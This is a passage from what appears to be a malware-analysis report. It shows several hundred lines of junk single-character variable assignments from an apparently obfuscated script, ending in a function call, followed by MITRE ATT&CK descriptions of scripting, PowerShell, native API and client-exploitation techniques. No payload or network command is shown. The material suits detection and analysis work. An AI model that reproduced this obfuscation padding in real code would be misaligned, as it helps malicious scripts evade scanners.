507	hwttkalk = "c";
508	hwttkalk = "G";
509	hwttkalk = "t";
510	hwttkalk = "T";
511	hwttkalk = "f";
512	hwttkalk = "T";
513	hwttkalk = "q";
514	hwttkalk = "v";
515	hwttkalk = "H";
516	hwttkalk = "z";
517	hwttkalk = "z";
518	hwttkalk = "w";
519	ghvrtl = "a";
520	ghvrtl = "i";
521	ghvrtl = "j";
522	ghvrtl = "j";
523	ghvrtl = "Y";
524	ghvrtl = "V";
525	ghvrtl = "h";
526	ghvrtl = "R";
527	ghvrtl = "Y";
528	ghvrtl = "m";
529	ghvrtl = "N";
530	ghvrtl = "Q";
531	ghvrtl = "A";
532	ghvrtl = "O";
533	ghvrtl = "j";
534	ghvrtl = "p";
535	ghvrtl = "J";
536	ghvrtl = "y";
537	ghvrtl = "h";
538	ghvrtl = "Q";
539	ghvrtl = "V";
540	ghvrtl = "U";
541	ghvrtl = "Z";
542	ghvrtl = "W";
543	ghvrtl = "P";
544	ghvrtl = "C";
545	ghvrtl = "n";
546	ghvrtl = "U";
547	ghvrtl = "O";
548	ghvrtl = "a";
549	oevfjjqt = "S";
550	oevfjjqt = "z";
551	oevfjjqt = "h";
552	oevfjjqt = "s";
553	htrcmfmbl = "N";
554	htrcmfmbl = "L";
555	htrcmfmbl = "y";
556	htrcmfmbl = "I";
557	fvuvttsjy = "d";
558	fvuvttsjy = "Z";
559	fvuvttsjy = "O";
560	fvuvttsjy = "H";
561	fvuvttsjy = "Y";
562	fvuvttsjy = "X";
563	fvuvttsjy = "m";
564	fvuvttsjy = "a";
565	fvuvttsjy = "u";
566	fvuvttsjy = "H";
567	fvuvttsjy = "E";
568	fvuvttsjy = "O";
569	fvuvttsjy = "n";
570	fvuvttsjy = "C";
571	fvuvttsjy = "w";
572	fvuvttsjy = "q";
573	fvuvttsjy = "N";
574	fvuvttsjy = "i";
575	fvuvttsjy = "L";
576	fvuvttsjy = "n";
577	fvuvttsjy = "K";
578	fvuvttsjy = "F";
579	fvuvttsjy = "K";
580	fvuvttsjy = "U";
581	fvuvttsjy = "J";
582	fvuvttsjy = "K";
583	fvuvttsjy = "D";
584	fvuvttsjy = "/";
585	dsxjv = "r";
586	dsxjv = "F";
587	dsxjv = "H";
588	dsxjv = "j";
589	dsxjv = "a";
590	dsxjv = "r";
591	dsxjv = "E";
592	dsxjv = "f";
593	dsxjv = "W";
594	dsxjv = "w";
595	dsxjv = "y";
596	dsxjv = "L";
597	dsxjv = "V";
598	dsxjv = "J";
599	dsxjv = "l";
600	dsxjv = "y";
601	dsxjv = "a";
602	dsxjv = "j";
603	dsxjv = "e";
604	dsxjv = "H";
605	dsxjv = "o";
606	gfydkumxz = "t";
607	gfydkumxz = "Q";
608	gfydkumxz = "C";
609	gfydkumxz = "E";
610	gfydkumxz = "D";
611	gfydkumxz = "D";
612	gfydkumxz = "j";
613	gfydkumxz = "T";
614	gfydkumxz = "y";
615	gfydkumxz = "n";
616	gfydkumxz = "G";
617	gfydkumxz = "T";
618	gfydkumxz = "r";
619	gfydkumxz = "b";
620	gfydkumxz = "z";
621	gfydkumxz = "v";
622	gfydkumxz = "q";
623	gfydkumxz = "t";
624	gfydkumxz = "s";
625	gfydkumxz = "X";
626	gfydkumxz = "t";
627	gfydkumxz = "Z";
628	gfydkumxz = "o";
629	gfydkumxz = "m";
630	gfydkumxz = "C";
631	gfydkumxz = "J";
632	gfydkumxz = "L";
633	gfydkumxz = "W";
634	gfydkumxz = "h";
635	gfydkumxz = "n";
636	gfydkumxz = "d";
637	gfydkumxz = "j";
638	gfydkumxz = "s";
639	gfydkumxz = "h";
640	gfydkumxz = "j";
641	gfydkumxz = "N";
642	vbcxoxtk = "N";
643	vbcxoxtk = "A";
644	vbcxoxtk = "V";
645	vbcxoxtk = "g";
646	vbcxoxtk = "m";
647	vbcxoxtk = "s";
648	vbcxoxtk = "i";
649	mfheyd = "g";
650	mfheyd = "J";
651	mfheyd = "m";
652	mfheyd = "R";
653	mfheyd = "r";
654	mfheyd = "C";
655	mfheyd = "p";
656	mfheyd = "t";
657	mfheyd = "a";
658	mfheyd = "i";
659	mfheyd = "j";
660	mfheyd = "Q";
661	mfheyd = "a";
662	mfheyd = "d";
663	mfheyd = "t";
664	mfheyd = "G";
665	mfheyd = "K";
666	mfheyd = " ";
667	viipkd = "B";
668	viipkd = "j";
669	viipkd = "v";
670	viipkd = "e";
671	viipkd = "i";
672	viipkd = "I";
673	viipkd = "z";
674	viipkd = "M";
675	viipkd = "x";
676	viipkd = "W";
677	viipkd = "J";
678	viipkd = "d";
679	viipkd = "B";
680	viipkd = "L";
681	viipkd = "d";
682	viipkd = "J";
683	viipkd = "K";
684	viipkd = "j";
685	viipkd = "o";
686	viipkd = "C";
687	viipkd = "O";
688	viipkd = "Y";
689	viipkd = "q";
690	viipkd = "l";
691	viipkd = "n";
692	viipkd = "w";
693	viipkd = "A";
694	viipkd = "Z";
695	viipkd = "E";
696	viipkd = "q";
697	viipkd = "w";
698	viipkd = "P";
699	viipkd = "L";
700	viipkd = "l";
701	viipkd = "F";
702	viipkd = "f";
703	viipkd = "V";
704	viipkd = "a";
705	viipkd = "l";
706	ronfihi = "o";
707	ronfihi = "r";
708	ronfihi = "E";
709	ronfihi = "P";
710	ronfihi = "q";
711	ronfihi = "L";
712	ronfihi = "H";
713	ronfihi = "E";
714	ronfihi = "Y";
715	ronfihi = "s";
716	ronfihi = "i";
717	ronfihi = "m";
718	ronfihi = "y";
719	ronfihi = "R";
720	ronfihi = "L";
721	ronfihi = "t";
722	ronfihi = "a";
723	ronfihi = "Z";
724	ronfihi = "n";
725	ronfihi = "V";
726	ronfihi = "B";
727	ronfihi = "L";
728	ronfihi = "u";
729	ronfihi = "I";
730	ronfihi = "H";
731	ronfihi = "s";
732	ronfihi = "s";
733	ronfihi = "S";
734	ronfihi = "M";
735	ronfihi = "f";
736	ronfihi = "Q";
737	ronfihi = "Q";
738	ronfihi = "Q";
739	iaibfn = "H";
740	iaibfn = "s";
741	iaibfn = "I";
742	iaibfn = "B";
743	iaibfn = "j";
744	iaibfn = "b";
745	iaibfn = "B";
746	iaibfn = "E";
747	iaibfn = "D";
748	iaibfn = "Y";
749	iaibfn = "R";
750	iaibfn = "p";
751	iaibfn = "q";
752	iaibfn = "D";
753	iaibfn = "q";
754	iaibfn = "r";
755	iaibfn = "t";
756	iaibfn = "d";
757	iaibfn = "B";
758	iaibfn = "E";
759	iaibfn = "r";
760	iaibfn = "A";
761	iaibfn = "Y";
762	iaibfn = "y";
763	iaibfn = "R";
764	iaibfn = "P";
765	iaibfn = "y";
766	iaibfn = "N";
767	iaibfn = "v";
768	iaibfn = "M";
769	iaibfn = "N";
770	iaibfn = "A";
771	iaibfn = "K";
772	iaibfn = "A";
773	iaibfn = "T";
774	iaibfn = "7";
775	ubthbltqs = "b";
776	ubthbltqs = "K";
777	ubthbltqs = "O";
778	ubthbltqs = "s";
779	ubthbltqs = "p";
780	ubthbltqs = "r";
781	ubthbltqs = "w";
782	ubthbltqs = "x";
783	ubthbltqs = "E";
784	ubthbltqs = "J";
785	ubthbltqs = "T";
786	ubthbltqs = "R";
787	ubthbltqs = "P";
788	ubthbltqs = "J";
789	ubthbltqs = "h";
790	ubthbltqs = "R";
791	ubthbltqs = "j";
792	ubthbltqs = "S";
793	ubthbltqs = "A";
794	ubthbltqs = "S";
795	ubthbltqs = "l";
796	ubthbltqs = "A";
797	ubthbltqs = "u";
798	ubthbltqs = "A";
799	ubthbltqs = "M";
800	ubthbltqs = "a";
801	ubthbltqs = "i";
802	ubthbltqs = "I";
803	ubthbltqs = "a";
804	ubthbltqs = "m";
805	ubthbltqs = "u";
806	ubthbltqs = "B";
807	ubthbltqs = "M";
808	ubthbltqs = "C";
809	ubthbltqs = "g";
810	ujfaaja = "S";
811	ujfaaja = "y";
812	ujfaaja = "e";
813	ujfaaja = "f";
814	ujfaaja = "a";
815	ujfaaja = "f";
816	ujfaaja = "R";
817	ujfaaja = "b";
818	ujfaaja = "q";
819	ujfaaja = "f";
820	ujfaaja = "s";
821	ujfaaja = "j";
822	ujfaaja = "Z";
823	ujfaaja = "G";
824	ujfaaja = "Q";
825	ujfaaja = "L";
826	ujfaaja = "e";
827	ujfaaja = "z";
828	ujfaaja = "m";
829	ujfaaja = "q";
830	ujfaaja = "t";
831	ujfaaja = "P";
832	ujfaaja = "h";
833	ujfaaja = "x";
834	ujfaaja = "L";
835	ujfaaja = "Q";
836	ujfaaja = "p";
837	ujfaaja = "x";
838	ujfaaja = "z";
839	ujfaaja = "S";
840	ujfaaja = "P";
841	ujfaaja = "g";
842	ujfaaja = "h";
843	ujfaaja = "S";
844	ujfaaja = "k";
845	ujfaaja = "W";
846	ujfaaja = "p";
847	ujfaaja = "A";
848	ujfaaja = "n";
849	ujfaaja = "b";
850	ujfaaja = "9";
851	oxcudgf = "Y";
852	oxcudgf = "M";
853	oxcudgf = "n";
854	oxcudgf = "g";
855	oxcudgf = "k";
856	oxcudgf = "k";
857	oxcudgf = "a";
858	oxcudgf = "E";
859	oxcudgf = "k";
860	oxcudgf = "J";
861	oxcudgf = "N";
862	oxcudgf = "s";
863	oxcudgf = "s";
864	oxcudgf = "J";
865	oxcudgf = "B";
866	oxcudgf = "X";
867	oxcudgf = "S";
868	oxcudgf = "h";
869	oxcudgf = "G";
870	oxcudgf = "T";
871	oxcudgf = "A";
872	oxcudgf = "E";
873	oxcudgf = "g";
874	oxcudgf = "H";
875	oxcudgf = "u";
876	oxcudgf = "U";
877	oxcudgf = "z";
878	oxcudgf = "W";
879	oxcudgf = "P";
880	oxcudgf = "c";
881	oxcudgf = "o";
882	oxcudgf = "S";
883	oxcudgf = "W";
884	oxcudgf = "T";
885	oxcudgf = "V";
886	oxcudgf = "K";
887	oxcudgf = "s";
888	oxcudgf = "x";
889	oxcudgf = "Z";
890	oxcudgf = "x";
891	oxcudgf = "r";
892	oxcudgf = "V";
893	oxcudgf = "n";
894	owcpjx = "n";
895	owcpjx = "j";
896	owcpjx = "z";
897	owcpjx = "q";
898	owcpjx = "Y";
899	owcpjx = "o";
900	owcpjx = "v";
901	owcpjx = "e";
902	owcpjx = "H";
903	owcpjx = "m";
904	owcpjx = "E";
905	owcpjx = "Y";
906	owcpjx = "r";
907	owcpjx = "E";
908	owcpjx = "w";
909	owcpjx = "S";
910	vsclsqlp = "W";
911	vsclsqlp = "V";
912	vsclsqlp = "K";
913	vsclsqlp = "b";
914	vsclsqlp = "W";
915	vsclsqlp = "k";
916	vsclsqlp = "d";
917	vsclsqlp = "u";
918	vsclsqlp = "u";
919	vsclsqlp = "M";
920	vsclsqlp = "c";
921	vsclsqlp = "b";
922	vsclsqlp = "L";
923	vsclsqlp = "O";
924	vsclsqlp = "e";
925	cqhusttjh = "D";
926	cqhusttjh = "F";
927	cqhusttjh = "N";
928	cqhusttjh = "b";
929	owqfyttg = "b";
930	owqfyttg = "V";
931	owqfyttg = "S";
932	owqfyttg = "I";
933	owqfyttg = "T";
934	owqfyttg = "M";
935	owqfyttg = "I";
936	owqfyttg = "r";
937	owqfyttg = "T";
938	owqfyttg = "M";
939	owqfyttg = "i";
940	owqfyttg = "I";
941	owqfyttg = "n";
942	owqfyttg = "D";
943	owqfyttg = "N";
944	owqfyttg = "S";
945	owqfyttg = "k";
946	owqfyttg = "R";
947	owqfyttg = "n";
948	owqfyttg = "S";
949	owqfyttg = "S";
950	owqfyttg = "j";
951	owqfyttg = "u";
952	pjijvin = "n";
953	pjijvin = "f";
954	pjijvin = "F";
955	abxnpehme = "i";
956	abxnpehme = "b";
957	abxnpehme = "w";
958	abxnpehme = "B";
959	abxnpehme = "g";
960	abxnpehme = "h";
961	abxnpehme = "Z";
962	abxnpehme = "y";
963	abxnpehme = "F";
964	abxnpehme = "M";
965	abxnpehme = "N";
966	abxnpehme = "V";
967	abxnpehme = "e";
968	abxnpehme = "Y";
969	abxnpehme = "K";
970	abxnpehme = "Q";
971	abxnpehme = "M";
972	abxnpehme = "Y";
973	abxnpehme = "o";
974	abxnpehme = "q";
975	abxnpehme = "N";
976	abxnpehme = "K";
977	abxnpehme = "r";
978	abxnpehme = "d";
979	abxnpehme = "l";
980	abxnpehme = "K";
981	abxnpehme = "c";
982	gehof = "I";
983	gehof = "L";
984	gehof = "I";
985	gehof = "X";
986	gehof = "A";
987	gehof = "X";
988	gehof = "L";
989	gehof = "I";
990	gehof = "e";
991	gehof = "h";
992	gehof = "p";
993	gehof = "M";
994	gehof = "Y";
995	gehof = "y";
996	gehof = "w";
997	gehof = "q";
998	uemripp = "O";
999	uemripp = "J";
1000	uemripp = "J";
1001	uemripp = "Q";
1002	uemripp = "z";
1003	uemripp = "i";
1004	uemripp = "r";
1005	uemripp = "x";
1006	uemripp = "N";
1007	uemripp = "T";
1008	uemripp = "W";
1009	uemripp = "B";
1010	uemripp = "A";
1011	uemripp = "n";
1012	uemripp = "Y";
1013	uemripp = "X";
1014	uemripp = "L";
1015	uemripp = "q";
1016	uemripp = "D";
1017	uemripp = "S";
1018	uemripp = "A";
1019	uemripp = "b";
1020	uemripp = "r";
1021	uemripp = "K";
1022	uemripp = "H";
1023	uemripp = "c";
1024	uemripp = "K";
1025	uemripp = "S";
1026	uemripp = "p";
1027	uemripp = "v";
1028	uemripp = "l";
1029	uemripp = "v";
1030	uemripp = "o";
1031	uemripp = "W";
1032	uemripp = "f";
1033	uemripp = "w";
1034	uemripp = "U";
1035	uemripp = "v";
1036	uemripp = "z";
1037	uemripp = "f";
1038	uemripp = "d";
1039	bzczjb = "q";
1040	bzczjb = "w";
1041	bzczjb = "h";
1042	bzczjb = "t";
1043	bzczjb = "P";
1044	bzczjb = "n";
1045	bzczjb = "X";
1046	bzczjb = "a";
1047	bzczjb = "S";
1048	bzczjb = "E";
1049	bzczjb = "G";
1050	bzczjb = "T";
1051	bzczjb = "B";
1052	bzczjb = "i";
1053	bzczjb = "R";
1054	bzczjb = "l";
1055	bzczjb = "g";
1056	bzczjb = "a";
1057	bzczjb = "L";
1058	bzczjb = "B";
1059	bzczjb = "Y";
1060	bzczjb = "B";
1061	bzczjb = "l";
1062	bzczjb = "h";
1063	bzczjb = "d";
1064	bzczjb = "W";
1065	bzczjb = "Q";
1066	bzczjb = "I";
1067	bzczjb = "k";
1068	bzczjb = "D";
1069	bzczjb = "S";
1070	bzczjb = "r";
1071	bzczjb = "w";
1072	bzczjb = "Z";
1073	bzczjb = "w";
1074	bzczjb = "j";
1075	bzczjb = "n";
1076	bzczjb = "y";
1077	bzczjb = "L";
1078	bzczjb = "G";
1079	bzczjb = "M";
1080	bzczjb = "N";
1081	bzczjb = "x";
1082	bzczjb = "M";
1083	bzczjb = "h";
1084	rpejzmr = "O";
1085	rpejzmr = "m";
1086	rpejzmr = "N";
1087	rpejzmr = "I";
1088	rpejzmr = "x";
1089	rpejzmr = "a";
1090	rpejzmr = "Y";
1091	rpejzmr = "x";
1092	rpejzmr = "H";
1093	rpejzmr = "P";
1094	rpejzmr = "W";
1095	rpejzmr = "r";
1096	rpejzmr = "A";
1097	rpejzmr = "E";
1098	rpejzmr = "e";
1099	rpejzmr = "N";
1100	rpejzmr = "U";
1101	rpejzmr = "O";
1102	rpejzmr = "n";
1103	rpejzmr = "B";
1104	rpejzmr = "k";
1105	rpejzmr = "A";
1106	rpejzmr = "l";
1107	rpejzmr = "t";
1108	rpejzmr = "P";
1109	rpejzmr = "o";
1110	rpejzmr = "g";
1111	rpejzmr = "t";
1112	rpejzmr = "w";
1113	rpejzmr = "O";
1114	rpejzmr = "t";
1115	rpejzmr = "l";
1116	rpejzmr = "o";
1117	rpejzmr = "b";
1118	rpejzmr = "Q";
1119	rpejzmr = "h";
1120	rpejzmr = "V";
1121	rpejzmr = "X";
1122	rpejzmr = "j";
1123	rpejzmr = "C";
1124	rpejzmr = "Y";
1125	mituc = "K";
1126	mituc = "U";
1127	mituc = "Z";
1128	mituc = "m";
1129	mituc = "C";
1130	mituc = "o";
1131	mituc = "r";
1132	adscvufvl = "B";
1133	adscvufvl = "G";
1134	adscvufvl = "e";
1135	adscvufvl = "t";
1136	adscvufvl = "R";
1137	adscvufvl = "u";
1138	adscvufvl = "A";
1139	adscvufvl = "E";
1140	adscvufvl = "q";
1141	adscvufvl = "g";
1142	adscvufvl = "t";
1143	adscvufvl = "Q";
1144	adscvufvl = "W";
1145	adscvufvl = "O";
1146	adscvufvl = "B";
1147	adscvufvl = "M";
1148	adscvufvl = "n";
1149	adscvufvl = "N";
1150	adscvufvl = "P";
1151	adscvufvl = "a";
1152	adscvufvl = "O";
1153	adscvufvl = "u";
1154	adscvufvl = "n";
1155	adscvufvl = "m";
1156	adscvufvl = "H";
1157	adscvufvl = "w";
1158	adscvufvl = "Z";
1159	adscvufvl = "n";
1160	adscvufvl = "w";
1161	adscvufvl = "x";
1162	adscvufvl = "w";
1163	adscvufvl = "X";
1164	adscvufvl = "A";
1165	adscvufvl = "D";
1166	adscvufvl = "M";
1167	adscvufvl = "h";
1168	adscvufvl = "&";
1169	xbfcdnlsu = "e";
1170	xbfcdnlsu = "l";
1171	xbfcdnlsu = "u";
1172	xbfcdnlsu = "J";
1173	xbfcdnlsu = "b";
1174	xbfcdnlsu = "e";
1175	xbfcdnlsu = "W";
1176	xbfcdnlsu = "K";
1177	xbfcdnlsu = "D";
1178	xbfcdnlsu = "G";
1179	xbfcdnlsu = "i";
1180	xbfcdnlsu = "C";
1181	xbfcdnlsu = "f";
1182	aajxs = "j";
1183	aajxs = "t";
1184	aajxs = "C";
1185	aajxs = "I";
1186	aajxs = "T";
1187	aajxs = "s";
1188	aajxs = "k";
1189	aajxs = "F";
1190	aajxs = "X";
1191	aajxs = "s";
1192	aajxs = "D";
1193	aajxs = "a";
1194	aajxs = "H";
1195	aajxs = "M";
1196	aajxs = "C";
1197	aajxs = "O";
1198	aajxs = "Y";
1199	aajxs = "O";
1200	aajxs = "E";
1201	aajxs = "M";
1202	aajxs = "I";
1203	aajxs = "T";
1204	aajxs = "w";
1205	aajxs = "r";
1206	aajxs = "p";
1207	aajxs = "t";
1208	aajxs = "V";
1209	aajxs = "n";
1210	aajxs = "o";
1211	aajxs = "I";
1212	aajxs = "d";
1213	aajxs = "o";
1214	aajxs = "g";
1215	aajxs = "Q";
1216	aajxs = "a";
1217	aajxs = "N";
1218	aajxs = "r";
1219	aajxs = "A";
1220	aajxs = "q";
1221	aajxs = "f";
1222	aajxs = "W";
1223	aajxs = "I";
1224	aajxs = "M";
1225	aajxs = "t";
1226	aajxs = "k";
1227	rchjhzj = "Q";
1228	rchjhzj = "d";
1229	rchjhzj = "I";
1230	rchjhzj = "v";
1231	rchjhzj = "w";
1232	rchjhzj = "p";
1233	rchjhzj = "J";
1234	rchjhzj = "l";
1235	rchjhzj = "I";
1236	rchjhzj = "O";
1237	rchjhzj = "h";
1238	rchjhzj = "h";
1239	rchjhzj = "O";
1240	rchjhzj = "N";
1241	rchjhzj = "h";
1242	rchjhzj = "G";
1243	rchjhzj = "C";
1244	rchjhzj = "H";
1245	rchjhzj = "Y";
1246	rchjhzj = "S";
1247	rchjhzj = "w";
1248	rchjhzj = "A";
1249	rchjhzj = "P";
1250	rchjhzj = "I";
1251	rchjhzj = "V";
1252	rchjhzj = "l";
1253	rchjhzj = "x";
1254	rchjhzj = "k";
1255	rchjhzj = "R";
1256	rchjhzj = "V";
1257	rchjhzj = "M";
1258	rchjhzj = "k";
1259	rchjhzj = "w";
1260	rchjhzj = "B";
1261	rchjhzj = "R";
1262	rchjhzj = "C";
1263	rchjhzj = "k";
1264	rchjhzj = "q";
1265	rchjhzj = "o";
1266	rchjhzj = "-";
1267	rqojozfl = "S";
1268	rqojozfl = "H";
1269	rqojozfl = "T";
1270	rqojozfl = "R";
1271	rqojozfl = "U";
1272	rqojozfl = "G";
1273	rqojozfl = "Z";
1274	rqojozfl = "L";
1275	rqojozfl = "m";
1276	rqojozfl = "A";
1277	rqojozfl = "A";
1278	rqojozfl = "y";
1279	rqojozfl = "a";
1280	rqojozfl = "W";
1281	rqojozfl = "U";
1282	rqojozfl = "L";
1283	gatybhu = "x";
1284	gatybhu = "f";
1285	gatybhu = "L";
1286	gatybhu = "J";
1287	gatybhu = "R";
1288	gatybhu = "D";
1289	gatybhu = "K";
1290	gatybhu = "h";
1291	gatybhu = "e";
1292	gatybhu = "n";
1293	gatybhu = "y";
1294	gatybhu = "U";
1295	gatybhu = "j";
1296	gatybhu = "\\";
1297	typwj = "D";
1298	typwj = "5";
1299	qwzxlpwok = "A";
1300	qwzxlpwok = "v";
1301	qwzxlpwok = "z";
1302	qwzxlpwok = "j";
1303	qwzxlpwok = "H";
1304	qwzxlpwok = "B";
1305	qwzxlpwok = "y";
1306	qwzxlpwok = "n";
1307	qwzxlpwok = "B";
1308	qwzxlpwok = "S";
1309	qwzxlpwok = "B";
1310	qwzxlpwok = "N";
1311	qwzxlpwok = "U";
1312	qwzxlpwok = "W";
1313	qwzxlpwok = "U";
1314	qwzxlpwok = "T";
1315	qwzxlpwok = "l";
1316	qwzxlpwok = "I";
1317	qwzxlpwok = "j";
1318	qwzxlpwok = "e";
1319	qwzxlpwok = "z";
1320	qwzxlpwok = "X";
1321	qwzxlpwok = "T";
1322	qwzxlpwok = "m";
1323	qwzxlpwok = "H";
1324	qwzxlpwok = "L";
1325	qwzxlpwok = "o";
1326	qwzxlpwok = "M";
1327	qwzxlpwok = "j";
1328	qwzxlpwok = "x";
1329	qwzxlpwok = "K";
1330	qwzxlpwok = "H";
1331	qwzxlpwok = "V";
1332	qwzxlpwok = "k";
1333	qwzxlpwok = "e";
1334	qwzxlpwok = "_";
1335	hgvmo = "H";
1336	hgvmo = "h";
1337	hgvmo = "j";
1338	hgvmo = "I";
1339	hgvmo = "8";
1340	eifeuyu = "N";
1341	eifeuyu = "O";
1342	eifeuyu = "S";
1343	eifeuyu = "b";
1344	eifeuyu = "g";
1345	eifeuyu = "N";
1346	eifeuyu = "v";
1347	eifeuyu = "g";
1348	eifeuyu = "H";
1349	eifeuyu = "d";
1350	eifeuyu = "Z";
1351	eifeuyu = "E";
1352	eifeuyu = "T";
1353	eifeuyu = "C";
1354	eifeuyu = "t";
1355	eifeuyu = "b";
1356	eifeuyu = "3";
1357	tzyfitxni = "Q";
1358	tzyfitxni = "h";
1359	tzyfitxni = "d";
1360	tzyfitxni = "I";
1361	tzyfitxni = "W";
1362	tzyfitxni = "g";
1363	tzyfitxni = "h";
1364	tzyfitxni = "i";
1365	tzyfitxni = "c";
1366	tzyfitxni = "B";
1367	tzyfitxni = "z";
1368	tzyfitxni = "c";
1369	tzyfitxni = "W";
1370	tzyfitxni = "o";
1371	tzyfitxni = "p";
1372	tzyfitxni = "q";
1373	tzyfitxni = "w";
1374	tzyfitxni = "q";
1375	tzyfitxni = "x";
1376	tzyfitxni = "U";
1377	tzyfitxni = "s";
1378	tzyfitxni = "M";
1379	tzyfitxni = "h";
1380	tzyfitxni = "s";
1381	tzyfitxni = "m";
1382	tzyfitxni = "b";
1383	tzyfitxni = "O";
1384	tzyfitxni = "j";
1385	tzyfitxni = "Q";
1386	tzyfitxni = "E";
1387	tzyfitxni = "A";
1388	tzyfitxni = "r";
1389	tzyfitxni = "h";
1390	tzyfitxni = "e";
1391	tzyfitxni = "b";
1392	tzyfitxni = "w";
1393	tzyfitxni = "H";
1394	tzyfitxni = "i";
1395	tzyfitxni = "C";
1396	tzyfitxni = "u";
1397	tzyfitxni = "v";
1398	unoycbfsf = "I";
1399	unoycbfsf = "d";
1400	unoycbfsf = "o";
1401	unoycbfsf = "n";
1402	unoycbfsf = "p";
1403	unoycbfsf = "C";
1404	unoycbfsf = "B";
1405	unoycbfsf = "g";
1406	unoycbfsf = "K";
1407	unoycbfsf = "v";
1408	unoycbfsf = "m";
1409	unoycbfsf = "\"";
1410	owmxakhqa = "t";
1411	owmxakhqa = "S";
1412	owmxakhqa = "B";
1413	owmxakhqa = "T";
1414	owmxakhqa = "F";
1415	owmxakhqa = "K";
1416	owmxakhqa = "I";
1417	owmxakhqa = "K";
1418	owmxakhqa = "u";
1419	owmxakhqa = "C";
1420	owmxakhqa = "T";
1421	owmxakhqa = "k";
1422	owmxakhqa = "q";
1423	owmxakhqa = "e";
1424	owmxakhqa = "k";
1425	owmxakhqa = "t";
1426	owmxakhqa = "b";
1427	owmxakhqa = "g";
1428	owmxakhqa = "v";
1429	owmxakhqa = "J";
1430	owmxakhqa = "O";
1431	owmxakhqa = "U";
1432	owmxakhqa = "g";
1433	owmxakhqa = "E";
1434	owmxakhqa = "t";
1435	owmxakhqa = "y";
1436	owmxakhqa = "f";
1437	owmxakhqa = "o";
1438	owmxakhqa = "I";
1439	owmxakhqa = "I";
1440	owmxakhqa = "6";
1441	etnqvofx = "B";
1442	etnqvofx = "E";
1443	etnqvofx = "x";
1444	etnqvofx = "G";
1445	etnqvofx = "Z";
1446	etnqvofx = "D";
1447	etnqvofx = "S";
1448	etnqvofx = "F";
1449	etnqvofx = "w";
1450	etnqvofx = "q";
1451	etnqvofx = "Q";
1452	etnqvofx = "i";
1453	etnqvofx = "U";
1454	etnqvofx = "D";
1455	etnqvofx = "Y";
1456	etnqvofx = "N";
1457	etnqvofx = "D";
1458	etnqvofx = "G";
1459	etnqvofx = "c";
1460	etnqvofx = "c";
1461	etnqvofx = "L";
1462	etnqvofx = "b";
1463	etnqvofx = "R";
1464	pafonqzs = "C";
1465	pafonqzs = "L";
1466	pafonqzs = "w";
1467	pafonqzs = "N";
1468	pafonqzs = "h";
1469	pafonqzs = "f";
1470	pafonqzs = "A";
1471	pafonqzs = "X";
1472	pafonqzs = "f";
1473	pafonqzs = "Q";
1474	pafonqzs = "L";
1475	pafonqzs = "R";
1476	pafonqzs = "i";
1477	pafonqzs = "L";
1478	pafonqzs = "n";
1479	pafonqzs = "X";
1480	pafonqzs = "D";
1481	pafonqzs = "D";
1482	pafonqzs = "U";
1483	pafonqzs = "B";
1484	pafonqzs = "i";
1485	pafonqzs = "T";
1486	pafonqzs = "C";
1487	pafonqzs = "k";
1488	pafonqzs = "I";
1489	pafonqzs = "l";
1490	pafonqzs = "y";
1491	pafonqzs = "u";
1492	pafonqzs = "r";
1493	pafonqzs = "W";
1494	pafonqzs = "X";
1495	pafonqzs = "w";
1496	pafonqzs = "X";
1497	pafonqzs = "r";
1498	pafonqzs = "I";
1499	pafonqzs = "g";
1500	pafonqzs = "R";
1501	pafonqzs = "S";
1502	pafonqzs = "w";
1503	pafonqzs = "p";
1504	pafonqzs = "K";
1505	pafonqzs = "o";
1506	pafonqzs = "z";
1507	pafonqzs = "j";
1508	zrohobmdv = "d";
1509	zrohobmdv = "J";
1510	zrohobmdv = "a";
1511	zrohobmdv = "l";
1512	zrohobmdv = "z";
1513	zrohobmdv = "x";
1514	zrohobmdv = "h";
1515	zrohobmdv = "g";
1516	zrohobmdv = "Q";
1517	zrohobmdv = "F";
1518	zrohobmdv = "N";
1519	zrohobmdv = "Y";
1520	zrohobmdv = "a";
1521	zrohobmdv = "q";
1522	zrohobmdv = "y";
1523	zrohobmdv = "n";
1524	zrohobmdv = "K";
1525	zrohobmdv = "o";
1526	zrohobmdv = "O";
1527	zrohobmdv = "V";
1528	zrohobmdv = "D";
1529	zrohobmdv = "g";
1530	zrohobmdv = "D";
1531	zrohobmdv = "d";
1532	zrohobmdv = "g";
1533	zrohobmdv = "4";
1534	hbgfipzo ( );	hbgfipzo() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

